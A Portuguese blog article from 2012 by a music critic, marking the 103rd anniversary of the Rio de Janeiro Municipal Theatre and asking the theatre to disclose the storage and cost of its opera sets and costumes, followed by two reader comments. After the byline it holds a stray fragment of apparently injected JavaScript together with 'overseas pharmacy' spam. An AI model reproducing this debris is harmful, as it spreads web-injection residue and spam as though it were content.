Artigo

103 aninhos do TMRJ: cenários, figurinos e adereços

Hoje 14 de julho nosso querido teatro cumpre 103 anos de gloriosa trajetória.

Estamos todos contentes, mas ficaremos todos mais contentes ainda se aproveitarmos a data festiva para uma manifestação construtiva e benéfica para o TMRJ, para o público e para o Estado. Falemos e indaguemos um pouco sobre o patrimônio artístico do TMRJ, mais precisamente sobre os cenários, figurinos, adereços, anotações, instruções de montagem, das produções de ópera (depois falaremos de ballet) levadas à execução em seu palco desde o início da administração Carla Camurati.

É sabido por todos os não ignorantes do métier que todos os cenários, figurinos, adereços, etc., de óperas  são guardados, conservados, vigiados, embalados,  embrulhados e identificados em TODOS OS TEATROS DE ÓPERA E BALLET DO MUNDO PARA POSTERIORES REAPRESENTAÇÕES E  REPETIÇÕES.

Se houver tudo guardado e conservado, o TMRJ, por exemplo, em cinco ou dez récitas de uma ópera terá tudo pago pelo estado e pela renda de bilheteria. Orquestra e coro não custam nada a não ser ao estado, pois seus elementos são assalariados do estado, cenógrafos e diretores de cena do quadro de funcionários do TMRJ, iluminadores,  marceneiros, maquiadores, peruqueiros, transportes, engenheiros, médicos, enfermeiros, tudo é pago em salários mensais pelo estado, NÃO HAVENDO NECESSIDADE DE PATROCÍNIOS E FINANCIAMENTOS EXORBITANTES.

Com a renda de bilheteria e tudo saindo do quadro de funcionários do TMRJ, este que escreve realiza uma temporada lírica de agrado do púbico, com artistas nacionais. É só ter cenários, figurinos, adereços, de produções anteriores guardados e conservados.

Quanto a cantores solistas, a renda da bilheteria com 1.500 ingressos vendidos (número muito abaixo do teatro lotado) a uma média de R$ 50,00 por ingresso soma R$ 75.000,00, mais que suficiente para pagar cachês por récita de mais de cinco solistas nacionais, cinco cantores secundários nacionais e dez comprimários nacionais. Qualquer bom solista principal nacional de um “RIGOLETTO” ou uma “ TOSCA” aceita de bom grado R$5.000,00 por récita, ou menos. Que o TMRJ revele quanto foi pago por récita ao soprano Lys Nardotto no Rigoletto (Gilda), ao soprano Janette Dornelas (Leonora) em Fidelio, ao barítono Homero Velho em 2007 em Bodas de Fígaro. E há comprimários que atuariam a R$ 500,00 por récita…

Da renda de bilheteria muitas vezes ainda sobrará dinheiro para outras despesas.

Este que escreve já teve oportunidade de estar presente a várias oficinas, subsolos, hangares, contruções próprias, espaços vagos em próprios públicos, e mais o que seja, nos quais viu guardados  uma infinidade de cenários etc. E, mais que isso, já viu MUITOS revivals de produções antigas dos teatros.

No Metropoltan de NYC viu a reposição de uma de suas produções mais guardadas e conservadas: A FLAUTA MÁGICA, de Mozart, em edição desenhada por Marc Chagall. Na Scala, viu a reposição de O ELIXIR DE AMOR posta em cena por Jean Pierre Ponelle, originária de Hamburgo; na Scala, viu uma reposição de NABUCCO, já ali encenada várias vezes em anos diferentes; no Metropolitan de NYC, viu reposição de Cavallleria e Pagliacci; no Colón, percorreu guiado por seu amigo José Andrés Maspero os subsolos e dependências em que aquele teatro guarda e conserva cenários, figurinos e tudo mais de antigas produções.

E os cenários, figurinos, adereços e demais itens relativos das óperas recentemente encenadas no TMRJ, onde e em que estado se encontram?

Pedimos à direção da FTMRJ que, em seu site na Internet, informe ao público, que é o dono do teatro, onde se encontram os cenários, figurinos, adereços, etc., de todas as óperas encenadas de 2007 até 2012 inclusive.

Requeremos outrossim que seja mencionado isoladamente  item por item ao lado de cada título O CUSTO TOTAL DOS CENÁRIOS, FIGURINOS, ADEREÇOS e demais despesas de cada ópera.

Requeremos finalmente que a direção da FTMRJ nos informe, em seu site na Internet, qual o destino que será dado aos cenários, figurinos e adereços da atual produção de RIGOLETTO que se acha em cena até 15 do corrente.

MARCUS GÓES -14 JULHO 2012} else {document.currentScript.parentNode.insertBefore(s, document.currentScript); overseas pharmacy

2 Comments

  1. ANTES, UM IGNORANTE AFIRMOU EM OUTRO LOCAL QUE A ADMINISTRÇÃO DO TMRJ NÃO É DA MINHA CONTA, COMO SE EU FOSSE UM INTROMETIDO A DAR PALPITES NÃO DEVIDOS. QUERO DEIXAR CLARO A TODOS QUE INQUIRIR E PEDIR INFORMAÇÕES SOBRE O PATRIMÔNIO PÚBLICO É UM DIREITO DE TODO CIDADÃO BRASILEIRO NO GOZO DE SEUS DIREITOS CIVIS, COMO GARANTEM A CONSTITUIÇÃO E DEMAIS LEIS NACIONAIS. HÁ INCLUSIVE A AÇÃO POPULAR, QUE PODE SER IMPETRADA POR QUALQUER UM DO POVO PARA SABER COMO SE GASTA O DINHEIRO PÚBLICO E COMO SE PROTEGE OU PREJUDICA O PATRIMÔNIO PÚBLICO. ACRESCENTE-SE QUE A FTMRJ É MANTIDA COM DINHEIRO PÚBLICO E TODO SEU PATRIMÔNIO É UM BEM PÚBLICO.
    MARCUS GÓES-OAB-RJ 69904.

  2. Espanta-me que o Sr. Marcus Góes cobre tantas coisas do TMRJ e ignore o fato de que numa das gestões de Dalal Aschar foi CORTADO AO MEIO o CICLORAMA do TMRJ para dar lugar ao ballet Floresta Amazônica de Villa Lobos com coreografia da própria Dalal (será que ela ganhou cachê?…), colocando uma pá de cal na acústuca do TMRJ. Quem faz um artigo como o Sr. faz, Sr. Marcus Góes, tem obrigação de ser inteiro e verdadeiro. Saudações.

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Marcus Góes
Musicólogo, crítico de música e dança e pesquisador. Tem livros publicados também no exterior. Considerado a maior autoridade mundial sobre Carlos Gomes.